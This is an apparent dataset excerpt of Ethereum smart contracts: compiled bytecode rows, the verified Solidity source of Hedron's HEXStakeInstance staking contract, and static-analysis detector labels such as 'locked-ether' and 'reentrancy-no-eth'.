52857fe5b600091825260209091200154600160a060020a0316905081565b600033301461055057600080fd5b600160a060020a038216600090815260026020526040902054829060ff16151561057957600080fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b600354600019018210156106545782600160a060020a03166003838154811015156105c357fe5b600091825260209091200154600160a060020a03161415610649576003805460001981019081106105f057fe5b60009182526020909120015460038054600160a060020a03909216918490811061061657fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550610654565b60019091019061059c565b60038054600019019061066790826113d6565b5060035460045411156106805760035461068090610e05565b604051600160a060020a038416907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9090600090a2505050565b3360008181526002602052604090205460ff1615156106d757600080fd5b60008281526001602090815260408083203380855292529091205483919060ff16151561070357600080fd5b600084815260208190526040902060030154849060ff161561072457600080fd5b6000858152600160209081526040808320338085529252808320805460ff191690555187927ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e991a35050505050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b60055481101561080d578380156107d5575060008181526020819052604090206003015460ff16155b806107f957508280156107f9575060008181526020819052604090206003015460ff165b15610805576001820191505b6001016107ac565b5092915050565b33301461082057600080fd5b600160a060020a038116600090815260026020526040902054819060ff161561084857600080fd5b81600160a060020a038116151561085e57600080fd5b6003805490506001016004546032821115801561087b5750818111155b801561088657508015155b801561089157508115155b151561089c57600080fd5b600160a060020a038516600081815260026020526040808220805460ff1916600190811790915560038054918201815583527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b01805473ffffffffffffffffffffffffffffffffffffffff191684179055517ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d9190a25050505050565b600080805b6003548110156109b6576000848152600160205260408120600380549192918490811061096757fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff161561099b576001820191505b6004548214156109ae57600192506109b6565b60010161093e565b5050919050565b6000805b600354811015610a2657600083815260016020526040812060038054919291849081106109ea57fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610a1e576001820191505b6001016109c1565b50919050565b6000602081815291815260409081902080546001808301546002808501805487516101009582161595909502600019011691909104601f8101889004880284018801909652858352600160a060020a0390931695909491929190830182828015610ad75780601f10610aac57610100808354040283529160200191610ad7565b820191906000526020600020905b815481529060010190602001808311610aba57829003601f168201915b5050506003909301549192505060ff1684565b60606003805480602002602001604051908101604052809291908181526020018280548015610b4257602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610b24575b505050505090505b90565b606080600080600554604051908082528060200260200182016040528015610b7f578160200160208202803883390190505b50925060009150600090505b600554811015610c0657858015610bb4575060008181526020819052604090206003015460ff16155b80610bd85750848015610bd8575060008181526020819052604090206003015460ff165b15610bfe57808383815181101515610bec57fe5b60209081029091010152600191909101905b600101610b8b565b878703604051908082528060200260200182016040528015610c32578160200160208202803883390190505b5093508790505b86811015610c7b578281815181101515610c4f57fe5b9060200190602002015184898303815181101515610c6957fe5b60209081029091010152600101610c39565b505050949350505050565b606080600080600380549050604051908082528060200260200182016040528015610cbb578160200160208202803883390190505b50925060009150600090505b600354811015610d785760008581526001602052604081206003805491929184908110610cf057fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610d70576003805482908110610d2b57fe5b6000918252602090912001548351600160a060020a0390911690849084908110610d5157fe5b600160a060020a03909216602092830290910190910152600191909101905b600101610cc7565b81604051908082528060200260200182016040528015610da2578160200160208202803883390190505b509350600090505b81811015610df7578281815181101515610dc057fe5b906020019060200201518482815181101515610dd857fe5b600160a060020a03909216602092830290910190910152600101610daa565b505050919050565b60055481565b333014610e1157600080fd5b6003548160328211801590610e265750818111155b8015610e3157508015155b8015610e3c57508115155b1515610e4757600080fd5b60048390556040805184815290517fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a9181900360200190a1505050565b3360008181526002602052604090205460ff161515610ea257600080fd5b6000828152602081905260409020548290600160a060020a03161515610ec757600080fd5b60008381526001602090815260408083203380855292529091205484919060ff1615610ef257600080fd5b6000858152600160208181526040808420338086529252808420805460ff1916909317909255905187927f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef91a3610f4885611103565b5050505050565b6000610f5c8484846112c3565b9050610f6781610e84565b9392505050565b603281565b60045481565b6000333014610f8757600080fd5b600160a060020a038316600090815260026020526040902054839060ff161515610fb057600080fd5b600160a060020a038316600090815260026020526040902054839060ff1615610fd857600080fd5b600092505b6003548310156110695784600160a060020a031660038481548110151561100057fe5b600091825260209091200154600160a060020a0316141561105e578360038481548110151561102b57fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550611069565b600190920191610fdd565b600160a060020a03808616600081815260026020526040808220805460ff1990811690915593881682528082208054909416600117909355915190917f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9091a2604051600160a060020a038516907ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d90600090a25050505050565b3360008181526002602052604081205490919060ff16151561112457600080fd5b60008381526001602090815260408083203380855292529091205484919060ff16151561115057600080fd5b600085815260208190526040902060030154859060ff161561117157600080fd5b61117a86610939565b156112bb576000868152602081815260409182902060038101805460ff19166001908117909155815481830154600280850180548851601f60001997831615610100029790970190911692909204948501879004870282018701909752838152939a5061124e95600160a060020a03909216949093919083908301828280156112445780601f1061121957610100808354040283529160200191611244565b820191906000526020600020905b81548152906001019060200180831161122757829003601f168201915b50505050506113b3565b156112835760405186907f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7590600090a26112bb565b60405186907f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923690600090a260038501805460ff191690555b505050505050565b600083600160a060020a03811615156112db57600080fd5b60055460408051608081018252600160a060020a0388811682526020808301898152838501898152600060608601819052878152808452959095208451815473ffffffffffffffffffffffffffffffffffffffff19169416939093178355516001830155925180519496509193909261135b9260028501929101906113ff565b50606091909101516003909101805460ff191691151591909117905560058054600101905560405182907fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5190600090a2509392505050565b6000806040516020840160008287838a8c6187965a03f198975050505050505050565b8154818355818111156113fa576000838152602090206113fa91810190830161147d565b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061144057805160ff191683800117855561146d565b8280016001018555821561146d579182015b8281111561146d578251825591602001919060010190611452565b5061147992915061147d565b5090565b610b4a91905b8082111561147957600081556001016114835600a165627a7a723058209011ec0606f3d45a08b69b6c5a963805d80ad29efb57cdeeb66af5c300ba64ff0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 1,998 |
0x64de999ce2fcbcf4f37ab16341de78ddf8722ad2 | /**
*Submitted for verification at Etherscan.io on 2022-02-20
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.9;
/* This contract is a subsidiary of the Hedron contract. The Hedron *
* contract can be found at 0x3819f64f282bf135d62168C1e513280dAF905e06. */
/* Hedron is a collection of Ethereum / PulseChain smart contracts that *
* build upon the HEX smart contract to provide additional functionality */
interface IHEX {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Claim(
uint256 data0,
uint256 data1,
bytes20 indexed btcAddr,
address indexed claimToAddr,
address indexed referrerAddr
);
event ClaimAssist(
uint256 data0,
uint256 data1,
uint256 data2,
address indexed senderAddr
);
event DailyDataUpdate(uint256 data0, address indexed updaterAddr);
event ShareRateChange(uint256 data0, uint40 indexed stakeId);
event StakeEnd(
uint256 data0,
uint256 data1,
address indexed stakerAddr,
uint40 indexed stakeId
);
event StakeGoodAccounting(
uint256 data0,
uint256 data1,
address indexed stakerAddr,
uint40 indexed stakeId,
address indexed senderAddr
);
event StakeStart(
uint256 data0,
address indexed stakerAddr,
uint40 indexed stakeId
);
event Transfer(address indexed from, address indexed to, uint256 value);
event XfLobbyEnter(
uint256 data0,
address indexed memberAddr,
uint256 indexed entryId,
address indexed referrerAddr
);
event XfLobbyExit(
uint256 data0,
address indexed memberAddr,
uint256 indexed entryId,
address indexed referrerAddr
);
fallback() external payable;
function allocatedSupply() external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function btcAddressClaim(
uint256 rawSatoshis,
bytes32[] memory proof,
address claimToAddr,
bytes32 pubKeyX,
bytes32 pubKeyY,
uint8 claimFlags,
uint8 v,
bytes32 r,
bytes32 s,
uint256 autoStakeDays,
address referrerAddr
) external returns (uint256);
function btcAddressClaims(bytes20) external view returns (bool);
function btcAddressIsClaimable(
bytes20 btcAddr,
uint256 rawSatoshis,
bytes32[] memory proof
) external view returns (bool);
function btcAddressIsValid(
bytes20 btcAddr,
uint256 rawSatoshis,
bytes32[] memory proof
) external pure returns (bool);
function claimMessageMatchesSignature(
address claimToAddr,
bytes32 claimParamHash,
bytes32 pubKeyX,
bytes32 pubKeyY,
uint8 claimFlags,
uint8 v,
bytes32 r,
bytes32 s
) external pure returns (bool);
function currentDay() external view returns (uint256);
function dailyData(uint256)
external
view
returns (
uint72 dayPayoutTotal,
uint72 dayStakeSharesTotal,
uint56 dayUnclaimedSatoshisTotal
);
function dailyDataRange(uint256 beginDay, uint256 endDay)
external
view
returns (uint256[] memory list);
function dailyDataUpdate(uint256 beforeDay) external;
function decimals() external view returns (uint8);
function decreaseAllowance(address spender, uint256 subtractedValue)
external
returns (bool);
function globalInfo() external view returns (uint256[13] memory);
function globals()
external
view
returns (
uint72 lockedHeartsTotal,
uint72 nextStakeSharesTotal,
uint40 shareRate,
uint72 stakePenaltyTotal,
uint16 dailyDataCount,
uint72 stakeSharesTotal,
uint40 latestStakeId,
uint128 claimStats
);
function increaseAllowance(address spender, uint256 addedValue)
external
returns (bool);
function merkleProofIsValid(bytes32 merkleLeaf, bytes32[] memory proof)
external
pure
returns (bool);
function name() external view returns (string memory);
function pubKeyToBtcAddress(
bytes32 pubKeyX,
bytes32 pubKeyY,
uint8 claimFlags
) external pure returns (bytes20);
function pubKeyToEthAddress(bytes32 pubKeyX, bytes32 pubKeyY)
external
pure
returns (address);
function stakeCount(address stakerAddr) external view returns (uint256);
function stakeEnd(uint256 stakeIndex, uint40 stakeIdParam) external;
function stakeGoodAccounting(
address stakerAddr,
uint256 stakeIndex,
uint40 stakeIdParam
) external;
function stakeLists(address, uint256)
external
view
returns (
uint40 stakeId,
uint72 stakedHearts,
uint72 stakeShares,
uint16 lockedDay,
uint16 stakedDays,
uint16 unlockedDay,
bool isAutoStake
);
function stakeStart(uint256 newStakedHearts, uint256 newStakedDays)
external;
function symbol() external view returns (string memory);
function totalSupply() external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
function xfLobby(uint256) external view returns (uint256);
function xfLobbyEnter(address referrerAddr) external payable;
function xfLobbyEntry(address memberAddr, uint256 entryId)
external
view
returns (uint256 rawAmount, address referrerAddr);
function xfLobbyExit(uint256 enterDay, uint256 count) external;
function xfLobbyFlush() external;
function xfLobbyMembers(uint256, address)
external
view
returns (uint40 headIndex, uint40 tailIndex);
function xfLobbyPendingDays(address memberAddr)
external
view
returns (uint256[2] memory words);
function xfLobbyRange(uint256 beginDay, uint256 endDay)
external
view
returns (uint256[] memory list);
}
struct HEXDailyData {
uint72 dayPayoutTotal;
uint72 dayStakeSharesTotal;
uint56 dayUnclaimedSatoshisTotal;
}
struct HEXGlobals {
uint72 lockedHeartsTotal;
uint72 nextStakeSharesTotal;
uint40 shareRate;
uint72 stakePenaltyTotal;
uint16 dailyDataCount;
uint72 stakeSharesTotal;
uint40 latestStakeId;
uint128 claimStats;
}
struct HEXStake {
uint40 stakeId;
uint72 stakedHearts;
uint72 stakeShares;
uint16 lockedDay;
uint16 stakedDays;
uint16 unlockedDay;
bool isAutoStake;
}
struct HEXStakeMinimal {
uint40 stakeId;
uint72 stakeShares;
uint16 lockedDay;
uint16 stakedDays;
}
struct ShareStore {
HEXStakeMinimal stake;
uint16 mintedDays;
uint8 launchBonus;
uint16 loanStart;
uint16 loanedDays;
uint32 interestRate;
uint8 paymentsMade;
bool isLoaned;
}
struct ShareCache {
HEXStakeMinimal _stake;
uint256 _mintedDays;
uint256 _launchBonus;
uint256 _loanStart;
uint256 _loanedDays;
uint256 _interestRate;
uint256 _paymentsMade;
bool _isLoaned;
}
address constant _hdrnSourceAddress = address(0x9d73Ced2e36C89E5d167151809eeE218a189f801);
address constant _hdrnFlowAddress = address(0xF447BE386164dADfB5d1e7622613f289F17024D8);
uint256 constant _hdrnLaunch = 1645833600;
contract HEXStakeInstance {
IHEX private _hx;
address private _creator;
ShareStore public share;
/**
* @dev Updates the HSI's internal HEX stake data.
*/
function _stakeDataUpdate(
)
internal
{
uint40 stakeId;
uint72 stakedHearts;
uint72 stakeShares;
uint16 lockedDay;
uint16 stakedDays;
uint16 unlockedDay;
bool isAutoStake;
(stakeId,
stakedHearts,
stakeShares,
lockedDay,
stakedDays,
unlockedDay,
isAutoStake
) = _hx.stakeLists(address(this), 0);
share.stake.stakeId = stakeId;
share.stake.stakeShares = stakeShares;
share.stake.lockedDay = lockedDay;
share.stake.stakedDays = stakedDays;
}
function initialize(
address hexAddress
)
external
{
require(_creator == address(0),
"HSI: Initialization already performed");
/* _creator is not an admin key. It is set at contsruction to be a link
to the parent contract. In this case HSIM */
_creator = msg.sender;
// set HEX contract address
_hx = IHEX(payable(hexAddress));
}
/**
* @dev Creates a new HEX stake using all HEX ERC20 tokens assigned
* to the HSI's contract address. This is a privileged operation only
* HEXStakeInstanceManager.sol can call.
* @param stakeLength Number of days the HEX ERC20 tokens will be staked.
*/
function create(
uint256 stakeLength
)
external
{
uint256 hexBalance = _hx.balanceOf(address(this));
require(msg.sender == _creator,
"HSI: Caller must be contract creator");
require(share.stake.stakedDays == 0,
"HSI: Creation already performed");
require(hexBalance > 0,
"HSI: Creation requires a non-zero HEX balance");
_hx.stakeStart(
hexBalance,
stakeLength
);
_stakeDataUpdate();
}
/**
* @dev Calls the HEX function "stakeGoodAccounting" against the
* HEX stake held within the HSI.
*/
function goodAccounting(
)
external
{
require(share.stake.stakedDays > 0,
"HSI: Creation not yet performed");
_hx.stakeGoodAccounting(address(this), 0, share.stake.stakeId);
_stakeDataUpdate();
}
/**
* @dev Ends the HEX stake, approves the "_creator" address to transfer
* all HEX ERC20 tokens, and self-destructs the HSI. This is a
* privileged operation only HEXStakeInstanceManager.sol can call.
*/
function destroy(
)
external
{
require(msg.sender == _creator,
"HSI: Caller must be contract creator");
require(share.stake.stakedDays > 0,
"HSI: Creation not yet performed");
_hx.stakeEnd(0, share.stake.stakeId);
uint256 hexBalance = _hx.balanceOf(address(this));
if (_hx.approve(_creator, hexBalance)) {
selfdestruct(payable(_creator));
}
else {
revert();
}
}
/**
* @dev Updates the HSI's internal share data. This is a privileged
* operation only HEXStakeInstanceManager.sol can call.
* @param _share "ShareCache" object containing updated share data.
*/
function update(
ShareCache memory _share
)
external
{
require(msg.sender == _creator,
"HSI: Caller must be contract creator");
share.mintedDays = uint16(_share._mintedDays);
share.launchBonus = uint8 (_share._launchBonus);
share.loanStart = uint16(_share._loanStart);
share.loanedDays = uint16(_share._loanedDays);
share.interestRate = uint32(_share._interestRate);
share.paymentsMade = uint8 (_share._paymentsMade);
share.isLoaned = _share._isLoaned;
}
/**
* @dev Fetches stake data from the HEX contract.
* @return A "HEXStake" object containg the HEX stake data.
*/
function stakeDataFetch(
)
external
view
returns(HEXStake memory)
{
uint40 stakeId;
uint72 stakedHearts;
uint72 stakeShares;
uint16 lockedDay;
uint16 stakedDays;
uint16 unlockedDay;
bool isAutoStake;
(stakeId,
stakedHearts,
stakeShares,
lockedDay,
stakedDays,
unlockedDay,
isAutoStake
) = _hx.stakeLists(address(this), 0);
return HEXStake(
stakeId,
stakedHearts,
stakeShares,
lockedDay,
stakedDays,
unlockedDay,
isAutoStake
);
}
} | 0x608060405234801561001057600080fd5b506004361061007d5760003560e01c806383197ef01161005b57806383197ef0146100b2578063a8d5fd65146100ba578063acee069e146101ee578063c4d66de81461027257600080fd5b80634313ae42146100825780637396ca651461008c578063780900dc1461009f575b600080fd5b61008a610285565b005b61008a61009a366004610c61565b610361565b61008a6100ad366004610cdf565b610470565b61008a61064b565b6040805160808101825260025464ffffffffff811682526501000000000080820468ffffffffffffffffff166020840152600160701b820461ffff90811694840194909452600160801b9091048316606083015260035461015d938181169262010000830460ff908116936301000000810484169392810490921691670100000000000000810463ffffffff1691600160581b8204811691600160601b90041688565b60408051895164ffffffffff1681526020808b015168ffffffffffffffffff16908201528982015161ffff908116928201929092526060998a0151821699810199909952968716608089015260ff95861660a089015293861660c08801529490911660e086015263ffffffff1661010085015291166101208301521515610140820152610160015b60405180910390f35b6101f6610858565b6040516101e59190600060e08201905064ffffffffff8351168252602083015168ffffffffffffffffff80821660208501528060408601511660408501525050606083015161ffff80821660608501528060808601511660808501528060a08601511660a0850152505060c0830151151560c083015292915050565b61008a610280366004610cf8565b61097e565b600254600160801b900461ffff166102e45760405162461bcd60e51b815260206004820152601f60248201527f4853493a204372656174696f6e206e6f742079657420706572666f726d65640060448201526064015b60405180910390fd5b600080546002546040516332e7b8d960e11b8152306004820152602481019390935264ffffffffff1660448301526001600160a01b0316906365cf71b290606401600060405180830381600087803b15801561033f57600080fd5b505af1158015610353573d6000803e3d6000fd5b5050505061035f610a22565b565b6001546001600160a01b0316331461038b5760405162461bcd60e51b81526004016102db90610d28565b60208101516003805460408401516060850151608086015160a087015160c088015160e09098015161ffff97881662ffffff19909616959095176201000060ff958616021766ffffffff000000191663010000009388169390930266ffff0000000000191692909217650100000000009690911695909502949094176bffffffffff00000000000000191667010000000000000063ffffffff909516949094026bff0000000000000000000000191693909317600160581b9390941692909202929092176cff0000000000000000000000001916600160601b91151591909102179055565b600080546040516370a0823160e01b81523060048201526001600160a01b03909116906370a082319060240160206040518083038186803b1580156104b457600080fd5b505afa1580156104c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104ec9190610d6c565b6001549091506001600160a01b031633146105195760405162461bcd60e51b81526004016102db90610d28565b600254600160801b900461ffff16156105745760405162461bcd60e51b815260206004820152601f60248201527f4853493a204372656174696f6e20616c726561647920706572666f726d65640060448201526064016102db565b600081116105da5760405162461bcd60e51b815260206004820152602d60248201527f4853493a204372656174696f6e2072657175697265732061206e6f6e2d7a657260448201526c6f204845582062616c616e636560981b60648201526084016102db565b600054604051630a54871760e31b815260048101839052602481018490526001600160a01b03909116906352a438b890604401600060405180830381600087803b15801561062757600080fd5b505af115801561063b573d6000803e3d6000fd5b50505050610647610a22565b5050565b6001546001600160a01b031633146106755760405162461bcd60e51b81526004016102db90610d28565b600254600160801b900461ffff166106cf5760405162461bcd60e51b815260206004820152601f60248201527f4853493a204372656174696f6e206e6f742079657420706572666f726d65640060448201526064016102db565b60008054600254604051631a1804d160e11b8152600481019390935264ffffffffff1660248301526001600160a01b03169063343009a290604401600060405180830381600087803b15801561072457600080fd5b505af1158015610738573d6000803e3d6000fd5b5050600080546040516370a0823160e01b81523060048201529193506001600160a01b031691506370a082319060240160206040518083038186803b15801561078057600080fd5b505afa158015610794573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b89190610d6c565b60005460015460405163095ea7b360e01b81526001600160a01b03918216600482015260248101849052929350169063095ea7b390604401602060405180830381600087803b15801561080a57600080fd5b505af115801561081e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108429190610d85565b1561007d576001546001600160a01b0316ff5b50565b6040805160e081018252600080825260208201819052918101829052606081018290526080810182905260a0810182905260c081019190915260008054604051632607443b60e01b8152306004820152602481018390528291829182918291829182916001600160a01b0390911690632607443b9060440160e06040518083038186803b1580156108e857600080fd5b505afa1580156108fc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109209190610da2565b6040805160e08101825264ffffffffff98909816885268ffffffffffffffffff9687166020890152949095169386019390935261ffff9182166060860152811660808501521660a0830152151560c082015298975050505050505050565b6001546001600160a01b0316156109e55760405162461bcd60e51b815260206004820152602560248201527f4853493a20496e697469616c697a6174696f6e20616c726561647920706572666044820152641bdc9b595960da1b60648201526084016102db565b600180543373ffffffffffffffffffffffffffffffffffffffff1991821617909155600080549091166001600160a01b0392909216919091179055565b60008054604051632607443b60e01b8152306004820152602481018390528291829182918291829182916001600160a01b0390911690632607443b9060440160e06040518083038186803b158015610a7957600080fd5b505afa158015610a8d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ab19190610da2565b50506002805464ffffffffff969096166dffffffffffffffffffffffffffff19909616959095176501000000000068ffffffffffffffffff94909416939093029290921771ffffffff00000000000000000000000000001916600160701b61ffff9283160261ffff60801b191617600160801b9290911691909102179091555050505050505050565b604051610100810167ffffffffffffffff81118282101715610b6c57634e487b7160e01b600052604160045260246000fd5b60405290565b64ffffffffff8116811461085557600080fd5b68ffffffffffffffffff8116811461085557600080fd5b61ffff8116811461085557600080fd5b600060808284031215610bbe57600080fd5b6040516080810181811067ffffffffffffffff82111715610bef57634e487b7160e01b600052604160045260246000fd5b6040529050808235610c0081610b72565b81526020830135610c1081610b85565b60208201526040830135610c2381610b9c565b60408201526060830135610c3681610b9c565b6060919091015292915050565b801515811461085557600080fd5b8035610c5c81610c43565b919050565b60006101608284031215610c7457600080fd5b610c7c610b3a565b610c868484610bac565b81526080830135602082015260a0830135604082015260c0830135606082015260e0830135608082015261010083013560a082015261012083013560c0820152610cd36101408401610c51565b60e08201529392505050565b600060208284031215610cf157600080fd5b5035919050565b600060208284031215610d0a57600080fd5b81356001600160a01b0381168114610d2157600080fd5b9392505050565b60208082526024908201527f4853493a2043616c6c6572206d75737420626520636f6e74726163742063726560408201526330ba37b960e11b606082015260800190565b600060208284031215610d7e57600080fd5b5051919050565b600060208284031215610d9757600080fd5b8151610d2181610c43565b600080600080600080600060e0888a031215610dbd57600080fd5b8751610dc881610b72565b6020890151909750610dd981610b85565b6040890151909650610dea81610b85565b6060890151909550610dfb81610b9c565b6080890151909450610e0c81610b9c565b60a0890151909350610e1d81610b9c565b60c0890151909250610e2e81610c43565b809150509295989194975092955056fea264697066735822122055e7b705b10f2b2c963984150458d56028c6a362cfda89761c00dbc65cff4c5164736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 1,999 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.